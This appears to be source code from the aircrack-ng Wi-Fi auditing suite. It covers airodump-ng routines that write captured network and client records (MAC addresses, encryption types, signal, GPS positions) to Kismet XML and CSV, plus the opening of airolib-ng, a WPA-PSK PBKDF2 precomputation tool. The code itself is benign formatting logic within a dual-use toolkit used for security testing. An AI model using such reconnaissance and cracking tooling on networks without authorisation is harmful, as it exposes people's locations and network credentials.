"\t\t\t\t<max-rate>54.000000</max-rate>\n"
"\t\t\t\t<packets>1</packets>\n"
"\t\t\t\t<encryption>None</encryption>\n");
fprintf(opt.f_kis_xml, "\t\t\t</SSID>\n");
}
/* Channel
FIXME: Take G.freqoption in account */
fprintf(opt.f_kis_xml, "\t\t\t<channel>%d</channel>\n", client->channel);
/* Rate: inaccurate because it's the latest rate seen */
client_max_rate = (client->rate_from > client->rate_to) ? client->rate_from
: client->rate_to;
fprintf(opt.f_kis_xml,
"\t\t\t<maxseenrate>%.6f</maxseenrate>\n",
client_max_rate / 1000000.0f);
/* Those 2 lines always stays the same */
fprintf(opt.f_kis_xml, "\t\t\t<carrier>IEEE 802.11b+</carrier>\n");
fprintf(opt.f_kis_xml, "\t\t\t<encoding>CCK</encoding>\n");
/* Packets */
fprintf(opt.f_kis_xml,
"\t\t\t<packets>\n"
"\t\t\t\t<LLC>0</LLC>\n"
"\t\t\t\t<data>0</data>\n"
"\t\t\t\t<crypt>0</crypt>\n"
"\t\t\t\t<total>%lu</total>\n"
"\t\t\t\t<fragments>0</fragments>\n"
"\t\t\t\t<retries>0</retries>\n"
"\t\t\t</packets>\n",
client->nb_pkt);
/* SNR information */
average_power = (client->power == -1) ? 0 : client->power;
max_power = (client->best_power == -1) ? average_power : client->best_power;
fprintf(opt.f_kis_xml,
"\t\t\t<snr-info>\n"
"\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
"\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
"\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
"\t\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
"\t\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
"\t\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
"\t\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
"\t\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
"\t\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
"\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
"\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
"\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
"\t\t\t</snr-info>\n",
average_power,
average_power,
average_power,
max_power,
max_power);
/* GPS Coordinates for clients */
if (opt.usegpsd)
{
fprintf(opt.f_kis_xml,
"\t\t\t<gps-info>\n"
"\t\t\t\t<min-lat>%.6f</min-lat>\n"
"\t\t\t\t<min-lon>%.6f</min-lon>\n"
"\t\t\t\t<min-alt>%.6f</min-alt>\n"
"\t\t\t\t<min-spd>%.6f</min-spd>\n"
"\t\t\t\t<max-lat>%.6f</max-lat>\n"
"\t\t\t\t<max-lon>%.6f</max-lon>\n"
"\t\t\t\t<max-alt>%.6f</max-alt>\n"
"\t\t\t\t<max-spd>%.6f</max-spd>\n"
"\t\t\t\t<peak-lat>%.6f</peak-lat>\n"
"\t\t\t\t<peak-lon>%.6f</peak-lon>\n"
"\t\t\t\t<peak-alt>%.6f</peak-alt>\n"
"\t\t\t\t<avg-lat>%.6f</avg-lat>\n"
"\t\t\t\t<avg-lon>%.6f</avg-lon>\n"
"\t\t\t\t<avg-alt>%.6f</avg-alt>\n"
"\t\t\t</gps-info>\n",
client->gps_loc_min[0],
client->gps_loc_min[1],
client->gps_loc_min[2],
client->gps_loc_min[3],
client->gps_loc_max[0],
client->gps_loc_max[1],
client->gps_loc_max[2],
client->gps_loc_max[3],
client->gps_loc_best[0],
client->gps_loc_best[1],
client->gps_loc_best[2],
/* Can the "best" be considered as average??? */
client->gps_loc_best[0],
client->gps_loc_best[1],
client->gps_loc_best[2]);
}
fprintf(opt.f_kis_xml, "\t\t</wireless-client>\n");
return (0);
}
int is_essid_hidden(const uint8_t * essid, const size_t length)
{
if (!essid || length == 0) return 1;
for (size_t i = 0; i < length; ++i)
{
if (essid[i] != 0) return 0;
}
return 1;
}
#define NETXML_ENCRYPTION_TAG "%s<encryption>%s</encryption>\n"
int dump_write_kismet_netxml(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt,
char * airodump_start_time)
{
int network_number, average_power, client_max_rate, max_power, client_nbr,
fp;
off_t fpos;
struct AP_info * ap_cur;
struct ST_info * st_cur;
char first_time[TIME_STR_LENGTH];
char last_time[TIME_STR_LENGTH];
char * manuf;
char * essid = NULL;
if (!opt.record_data || !opt.output_format_kismet_netxml) return (0);
if (fseek(opt.f_kis_xml, 0, SEEK_SET) == -1)
{
return (0);
}
/* Header and airodump-ng start time */
fprintf(opt.f_kis_xml,
"%s%s%s",
KISMET_NETXML_HEADER_BEGIN,
airodump_start_time,
KISMET_NETXML_HEADER_END);
ap_cur = ap_1st;
network_number = 0;
while (ap_cur != NULL)
{
if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
{
ap_cur = ap_cur->next;
continue;
}
if (ap_cur->security != 0 && f_encrypt != 0
&& ((ap_cur->security & f_encrypt) == 0))
{
ap_cur = ap_cur->next;
continue;
}
if (is_filtered_essid(ap_cur->essid))
{
ap_cur = ap_cur->next;
continue;
}
++network_number; // Network Number
strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1);
ENSURE(strlen(first_time) >= 1);
first_time[strlen(first_time) - 1] = 0; // remove new line
strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1);
ENSURE(strlen(last_time) >= 1);
last_time[strlen(last_time) - 1] = 0; // remove new line
fprintf(opt.f_kis_xml,
"\t<wireless-network number=\"%d\" type=\"infrastructure\" ",
network_number);
fprintf(opt.f_kis_xml,
"first-time=\"%s\" last-time=\"%s\">\n",
first_time,
last_time);
fprintf(opt.f_kis_xml,
"\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
first_time,
last_time);
fprintf(opt.f_kis_xml, "\t\t\t<type>Beacon</type>\n");
fprintf(opt.f_kis_xml,
"\t\t\t<max-rate>%d.000000</max-rate>\n",
ap_cur->max_speed);
fprintf(
opt.f_kis_xml, "\t\t\t<packets>%lu</packets>\n", ap_cur->nb_bcn);
fprintf(opt.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10);
// Encryption
if (ap_cur->security & STD_OPN)
fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None");
else if (ap_cur->security & STD_WEP)
fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP");
else if (ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA)
{
if (ap_cur->security & ENC_TKIP)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP");
if (ap_cur->security & AUTH_MGT)
fprintf(opt.f_kis_xml,
NETXML_ENCRYPTION_TAG,
"\t\t\t",
"WPA+MGT"); // Not a valid value: NetXML does not have a
// value for WPA Enterprise
if (ap_cur->security & AUTH_PSK)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK");
if (ap_cur->security & AUTH_CMAC)
fprintf(opt.f_kis_xml,
NETXML_ENCRYPTION_TAG,
"\t\t\t",
"WPA+PSK+CMAC");
if (ap_cur->security & ENC_CCMP)
fprintf(opt.f_kis_xml,
NETXML_ENCRYPTION_TAG,
"\t\t\t",
"WPA+AES-CCM");
if (ap_cur->security & ENC_WRAP)
fprintf(opt.f_kis_xml,
NETXML_ENCRYPTION_TAG,
"\t\t\t",
"WPA+AES-OCB");
if (ap_cur->security & ENC_GCMP)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GCMP");
if (ap_cur->security & ENC_GMAC)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GMAC");
if (ap_cur->security & AUTH_SAE)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+SAE");
if (ap_cur->security & AUTH_OWE)
fprintf(
opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+OWE");
}
else if (ap_cur->security & ENC_WEP104)
fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104");
else if (ap_cur->security & ENC_WEP40)
fprintf(opt.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40");
/* ESSID */
if (!is_essid_hidden(ap_cur->essid, (size_t) ap_cur->ssid_length))
{
essid = sanitize_xml(ap_cur->essid, (size_t) ap_cur->ssid_length);
}
fprintf(opt.f_kis_xml,
"\t\t\t<essid cloaked=\"%s\">%s</essid>\n",
(essid) ? "false" : "true",
(essid) ? essid : "");
if (essid)
{
free(essid);
essid = NULL;
}
/* End of SSID tag */
fprintf(opt.f_kis_xml, "\t\t</SSID>\n");
/* BSSID */
fprintf(opt.f_kis_xml,
"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
/* Manufacturer, if set using standard oui list */
manuf = sanitize_xml((unsigned char *) ap_cur->manuf,
strlen(ap_cur->manuf));
fprintf(opt.f_kis_xml,
"\t\t<manuf>%s</manuf>\n",
(manuf != NULL) ? manuf : "Unknown");
free(manuf);
/* Channel
FIXME: Take G.freqoption in account */
fprintf(opt.f_kis_xml,
"\t\t<channel>%d</channel>\n",
(ap_cur->channel) == -1 ? 0 : ap_cur->channel);
/* Freq (in Mhz) and total number of packet on that frequency
FIXME: Take G.freqoption in account */
fprintf(opt.f_kis_xml,
"\t\t<freqmhz>%d %lu</freqmhz>\n",
(ap_cur->channel) == -1
? 0
: getFrequencyFromChannel(ap_cur->channel),
// ap_cur->nb_data + ap_cur->nb_bcn );
ap_cur->nb_pkt);
/* XXX: What about 5.5Mbit */
fprintf(opt.f_kis_xml,
"\t\t<maxseenrate>%d</maxseenrate>\n",
(ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000);
/* Those 2 lines always stays the same */
fprintf(opt.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
fprintf(opt.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
/* Packets */
fprintf(opt.f_kis_xml,
"\t\t<packets>\n"
"\t\t\t<LLC>%lu</LLC>\n"
"\t\t\t<data>%lu</data>\n"
"\t\t\t<crypt>0</crypt>\n"
"\t\t\t<total>%lu</total>\n"
"\t\t\t<fragments>0</fragments>\n"
"\t\t\t<retries>0</retries>\n"
"\t\t</packets>\n",
ap_cur->nb_data,
ap_cur->nb_data,
// ap_cur->nb_data + ap_cur->nb_bcn );
ap_cur->nb_pkt);
/* XXX: What does that field mean? Is it the total size of data? */
fprintf(opt.f_kis_xml, "\t\t<datasize>0</datasize>\n");
/* Client information */
st_cur = st_1st;
client_nbr = 0;
while (st_cur != NULL)
{
/* Check if the station is associated to the current AP */
if (memcmp(st_cur->stmac, BROADCAST, 6) != 0 && st_cur->base != NULL
&& memcmp(st_cur->base->bssid, ap_cur->bssid, 6) == 0)
{
dump_write_kismet_netxml_client_info(st_cur, ++client_nbr);
}
/* Next client */
st_cur = st_cur->next;
}
/* SNR information */
average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power;
max_power
= (ap_cur->best_power == -1) ? average_power : ap_cur->best_power;
fprintf(opt.f_kis_xml,
"\t\t<snr-info>\n"
"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
"\t\t</snr-info>\n",
average_power,
average_power,
average_power,
max_power,
max_power);
/* GPS Coordinates */
if (opt.usegpsd)
{
fprintf(opt.f_kis_xml,
"\t\t<gps-info>\n"
"\t\t\t<min-lat>%.6f</min-lat>\n"
"\t\t\t<min-lon>%.6f</min-lon>\n"
"\t\t\t<min-alt>%.6f</min-alt>\n"
"\t\t\t<min-spd>%.6f</min-spd>\n"
"\t\t\t<max-lat>%.6f</max-lat>\n"
"\t\t\t<max-lon>%.6f</max-lon>\n"
"\t\t\t<max-alt>%.6f</max-alt>\n"
"\t\t\t<max-spd>%.6f</max-spd>\n"
"\t\t\t<peak-lat>%.6f</peak-lat>\n"
"\t\t\t<peak-lon>%.6f</peak-lon>\n"
"\t\t\t<peak-alt>%.6f</peak-alt>\n"
"\t\t\t<avg-lat>%.6f</avg-lat>\n"
"\t\t\t<avg-lon>%.6f</avg-lon>\n"
"\t\t\t<avg-alt>%.6f</avg-alt>\n"
"\t\t</gps-info>\n",
ap_cur->gps_loc_min[0],
ap_cur->gps_loc_min[1],
ap_cur->gps_loc_min[2],
ap_cur->gps_loc_min[3],
ap_cur->gps_loc_max[0],
ap_cur->gps_loc_max[1],
ap_cur->gps_loc_max[2],
ap_cur->gps_loc_max[3],
ap_cur->gps_loc_best[0],
ap_cur->gps_loc_best[1],
ap_cur->gps_loc_best[2],
/* Can the "best" be considered as average??? */
ap_cur->gps_loc_best[0],
ap_cur->gps_loc_best[1],
ap_cur->gps_loc_best[2]);
}
/* BSS Timestamp */
fprintf(opt.f_kis_xml,
"\t\t<bsstimestamp>%llu</bsstimestamp>\n",
ap_cur->timestamp);
/* Trailing information */
fprintf(opt.f_kis_xml,
"\t\t<cdp-device></cdp-device>\n"
"\t\t<cdp-portid></cdp-portid>\n");
/* Closing tag for the current wireless network */
fprintf(opt.f_kis_xml, "\t</wireless-network>\n");
//-------- End of XML
ap_cur = ap_cur->next;
}
/* Write all unassociated stations */
st_cur = st_1st;
while (st_cur != NULL)
{
/* If not associated and not Broadcast Mac */
if (st_cur->base == NULL
|| memcmp(st_cur->base->bssid, BROADCAST, 6) == 0)
{
++network_number; // Network Number
/* Write new network information */
strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1);
ENSURE(strlen(first_time) >= 1);
first_time[strlen(first_time) - 1] = 0; // remove new line
strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1);
ENSURE(strlen(last_time) >= 1);
last_time[strlen(last_time) - 1] = 0; // remove new line
fprintf(opt.f_kis_xml,
"\t<wireless-network number=\"%d\" type=\"probe\" ",
network_number);
fprintf(opt.f_kis_xml,
"first-time=\"%s\" last-time=\"%s\">\n",
first_time,
last_time);
/* BSSID */
fprintf(opt.f_kis_xml,
"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
/* Manufacturer, if set using standard oui list */
manuf = sanitize_xml((unsigned char *) st_cur->manuf,
strlen(st_cur->manuf));
fprintf(opt.f_kis_xml,
"\t\t<manuf>%s</manuf>\n",
(manuf != NULL) ? manuf : "Unknown");
free(manuf);
/* Channel
FIXME: Take G.freqoption in account */
fprintf(
opt.f_kis_xml, "\t\t<channel>%d</channel>\n", st_cur->channel);
/* Freq (in Mhz) and total number of packet on that frequency
FIXME: Take G.freqoption in account */
fprintf(opt.f_kis_xml,
"\t\t<freqmhz>%d %lu</freqmhz>\n",
getFrequencyFromChannel(st_cur->channel),
st_cur->nb_pkt);
/* Rate: inaccurate because it's the latest rate seen */
client_max_rate = (st_cur->rate_from > st_cur->rate_to)
? st_cur->rate_from
: st_cur->rate_to;
fprintf(opt.f_kis_xml,
"\t\t<maxseenrate>%.6f</maxseenrate>\n",
client_max_rate / 1000000.0f);
fprintf(opt.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
fprintf(opt.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
/* Packets */
fprintf(opt.f_kis_xml,
"\t\t<packets>\n"
"\t\t\t<LLC>0</LLC>\n"
"\t\t\t<data>0</data>\n"
"\t\t\t<crypt>0</crypt>\n"
"\t\t\t<total>%lu</total>\n"
"\t\t\t<fragments>0</fragments>\n"
"\t\t\t<retries>0</retries>\n"
"\t\t</packets>\n",
st_cur->nb_pkt);
/* XXX: What does that field mean? Is it the total size of data? */
fprintf(opt.f_kis_xml, "\t\t<datasize>0</datasize>\n");
/* SNR information */
average_power = (st_cur->power == -1) ? 0 : st_cur->power;
max_power = (st_cur->best_power == -1) ? average_power
: st_cur->best_power;
fprintf(opt.f_kis_xml,
"\t\t<snr-info>\n"
"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
"\t\t</snr-info>\n",
average_power,
average_power,
average_power,
max_power,
max_power);
/* GPS Coordinates for clients */
if (opt.usegpsd)
{
fprintf(opt.f_kis_xml,
"\t\t<gps-info>\n"
"\t\t\t<min-lat>%.6f</min-lat>\n"
"\t\t\t<min-lon>%.6f</min-lon>\n"
"\t\t\t<min-alt>%.6f</min-alt>\n"
"\t\t\t<min-spd>%.6f</min-spd>\n"
"\t\t\t<max-lat>%.6f</max-lat>\n"
"\t\t\t<max-lon>%.6f</max-lon>\n"
"\t\t\t<max-alt>%.6f</max-alt>\n"
"\t\t\t<max-spd>%.6f</max-spd>\n"
"\t\t\t<peak-lat>%.6f</peak-lat>\n"
"\t\t\t<peak-lon>%.6f</peak-lon>\n"
"\t\t\t<peak-alt>%.6f</peak-alt>\n"
"\t\t\t<avg-lat>%.6f</avg-lat>\n"
"\t\t\t<avg-lon>%.6f</avg-lon>\n"
"\t\t\t<avg-alt>%.6f</avg-alt>\n"
"\t\t</gps-info>\n",
st_cur->gps_loc_min[0],
st_cur->gps_loc_min[1],
st_cur->gps_loc_min[2],
st_cur->gps_loc_min[3],
st_cur->gps_loc_max[0],
st_cur->gps_loc_max[1],
st_cur->gps_loc_max[2],
st_cur->gps_loc_max[3],
st_cur->gps_loc_best[0],
st_cur->gps_loc_best[1],
st_cur->gps_loc_best[2],
/* Can the "best" be considered as average??? */
st_cur->gps_loc_best[0],
st_cur->gps_loc_best[1],
st_cur->gps_loc_best[2]);
}
fprintf(opt.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n");
/* CDP information */
fprintf(opt.f_kis_xml,
"\t\t<cdp-device></cdp-device>\n"
"\t\t<cdp-portid></cdp-portid>\n");
/* Write client information */
dump_write_kismet_netxml_client_info(st_cur, 1);
fprintf(opt.f_kis_xml, "\t</wireless-network>");
}
st_cur = st_cur->next;
}
/* TODO: Also go through na_1st */
/* Trailing */
fprintf(opt.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER);
fflush(opt.f_kis_xml);
/* Sometimes there can be crap at the end of the file, so truncating is a
good idea.
XXX: Is this really correct, I hope fileno() won't have any side effect
*/
fp = fileno(opt.f_kis_xml);
fpos = ftell(opt.f_kis_xml);
if (fp == -1 || fpos == -1)
{
return (0);
}
IGNORE_NZ(ftruncate(fp, fpos));
return (0);
}
#undef TIME_STR_LENGTH
#define KISMET_HEADER \
"Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;" \
"MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;" \
"FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;" \
"GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;" \
"GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n"
int dump_write_kismet_csv(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt)
{
UNUSED_PARAM(st_1st);
int i, k;
struct AP_info * ap_cur;
if (!opt.record_data || !opt.output_format_kismet_csv) return (0);
if (fseek(opt.f_kis, 0, SEEK_SET) == -1)
{
return (0);
}
fprintf(opt.f_kis, KISMET_HEADER);
ap_cur = ap_1st;
k = 1;
while (ap_cur != NULL)
{
if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
{
ap_cur = ap_cur->next;
continue;
}
if (ap_cur->security != 0 && f_encrypt != 0
&& ((ap_cur->security & f_encrypt) == 0))
{
ap_cur = ap_cur->next;
continue;
}
if (is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2)
{
ap_cur = ap_cur->next;
continue;
}
// Network
fprintf(opt.f_kis, "%d;", k);
// NetType
fprintf(opt.f_kis, "infrastructure;");
// ESSID
for (i = 0; i < ap_cur->ssid_length; i++)
{
fprintf(opt.f_kis, "%c", ap_cur->essid[i]);
}
fprintf(opt.f_kis, ";");
// BSSID
fprintf(opt.f_kis,
"%02X:%02X:%02X:%02X:%02X:%02X;",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
// Info
fprintf(opt.f_kis, ";");
// Channel
fprintf(opt.f_kis, "%d;", ap_cur->channel);
// Cloaked
fprintf(opt.f_kis, "No;");
// Encryption
if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) != 0)
{
if (ap_cur->security & STD_WPA2)
{
if (ap_cur->security & AUTH_SAE || ap_cur->security & AUTH_OWE)
fprintf(opt.f_kis, "WPA3,");
else
fprintf(opt.f_kis, "WPA2,");
}
if (ap_cur->security & STD_WPA) fprintf(opt.f_kis, "WPA,");
if (ap_cur->security & STD_WEP) fprintf(opt.f_kis, "WEP,");
if (ap_cur->security & STD_OPN) fprintf(opt.f_kis, "OPN,");
}
if ((ap_cur->security & ENC_FIELD) == 0)
fprintf(opt.f_kis, "None,");
else
{
if (ap_cur->security & ENC_CCMP) fprintf(opt.f_kis, "AES-CCM,");
if (ap_cur->security & ENC_WRAP) fprintf(opt.f_kis, "WRAP,");
if (ap_cur->security & ENC_TKIP) fprintf(opt.f_kis, "TKIP,");
if (ap_cur->security & ENC_WEP104) fprintf(opt.f_kis, "WEP104,");
if (ap_cur->security & ENC_WEP40) fprintf(opt.f_kis, "WEP40,");
if (ap_cur->security & ENC_GCMP) fprintf(opt.f_kis, "GCMP,");
if (ap_cur->security & ENC_GMAC) fprintf(opt.f_kis, "GMAC,");
if (ap_cur->security & AUTH_SAE) fprintf(opt.f_kis, "SAE,");
if (ap_cur->security & AUTH_OWE) fprintf(opt.f_kis, "OWE,");
}
fseek(opt.f_kis, -1, SEEK_CUR);
fprintf(opt.f_kis, ";");
// Decrypted
fprintf(opt.f_kis, "No;");
// MaxRate
fprintf(opt.f_kis, "%d.0;", ap_cur->max_speed);
// MaxSeenRate
fprintf(opt.f_kis, "0;");
// Beacon
fprintf(opt.f_kis, "%lu;", ap_cur->nb_bcn);
// LLC
fprintf(opt.f_kis, "0;");
// Data
fprintf(opt.f_kis, "%lu;", ap_cur->nb_data);
// Crypt
fprintf(opt.f_kis, "0;");
// Weak
fprintf(opt.f_kis, "0;");
// Total
fprintf(opt.f_kis, "%lu;", ap_cur->nb_data);
// Carrier
fprintf(opt.f_kis, ";");
// Encoding
fprintf(opt.f_kis, ";");
// FirstTime
fprintf(opt.f_kis, "%s", ctime(&ap_cur->tinit));
fseek(opt.f_kis, -1, SEEK_CUR);
fprintf(opt.f_kis, ";");
// LastTime
fprintf(opt.f_kis, "%s", ctime(&ap_cur->tlast));
fseek(opt.f_kis, -1, SEEK_CUR);
fprintf(opt.f_kis, ";");
// BestQuality
fprintf(opt.f_kis, "%d;", ap_cur->avg_power);
// BestSignal
fprintf(opt.f_kis, "0;");
// BestNoise
fprintf(opt.f_kis, "0;");
// GPSMinLat
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[0]);
// GPSMinLon
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[1]);
// GPSMinAlt
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[2]);
// GPSMinSpd
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_min[3]);
// GPSMaxLat
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[0]);
// GPSMaxLon
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[1]);
// GPSMaxAlt
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[2]);
// GPSMaxSpd
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_max[3]);
// GPSBestLat
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[0]);
// GPSBestLon
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[1]);
// GPSBestAlt
fprintf(opt.f_kis, "%.6f;", ap_cur->gps_loc_best[2]);
// DataSize
fprintf(opt.f_kis, "0;");
// IPType
fprintf(opt.f_kis, "0;");
// IP
fprintf(opt.f_kis,
"%d.%d.%d.%d;",
ap_cur->lanip[0],
ap_cur->lanip[1],
ap_cur->lanip[2],
ap_cur->lanip[3]);
fprintf(opt.f_kis, "\r\n");
ap_cur = ap_cur->next;
k++;
}
fflush(opt.f_kis);
return (0);
} |
C/C++ | aircrack-ng/src/airodump-ng/dump_write.h | /*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
* NON-INFRINGEMENT. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _AIRODUMP_NG_DUMP_WRITE_H_
#define _AIRODUMP_NG_DUMP_WRITE_H_
int dump_write_csv(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt);
int dump_write_airodump_ng_logcsv_add_ap(const struct AP_info * ap_cur,
const int32_t ri_power,
struct tm * tm_gpstime,
float * gps_loc);
int dump_write_airodump_ng_logcsv_add_client(const struct AP_info * ap_cur,
const struct ST_info * st_cur,
const int32_t ri_power,
struct tm * tm_gpstime,
float * gps_loc);
char * get_manufacturer_from_string(char * buffer);
int dump_write_kismet_netxml(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt,
char * airodump_start_time);
int dump_write_kismet_csv(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt);
#endif /* _AIRODUMP_NG_DUMP_WRITE_H_ */ |
C | aircrack-ng/src/airolib-ng/airolib-ng.c | /*
* A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK
*
* Copyright (C) 2007-2009 ebfe
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sqlite3.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <getopt.h>
#include <fcntl.h>
#include <signal.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/cowpatty/cowpatty.h"
#include "aircrack-ng/crypto/crypto.h"
#ifdef HAVE_REGEXP
#include <regex.h>
#endif
#include "aircrack-ng/version.h"
#define IMPORT_ESSID "essid"
#define EXPORT_ESSID IMPORT_ESSID
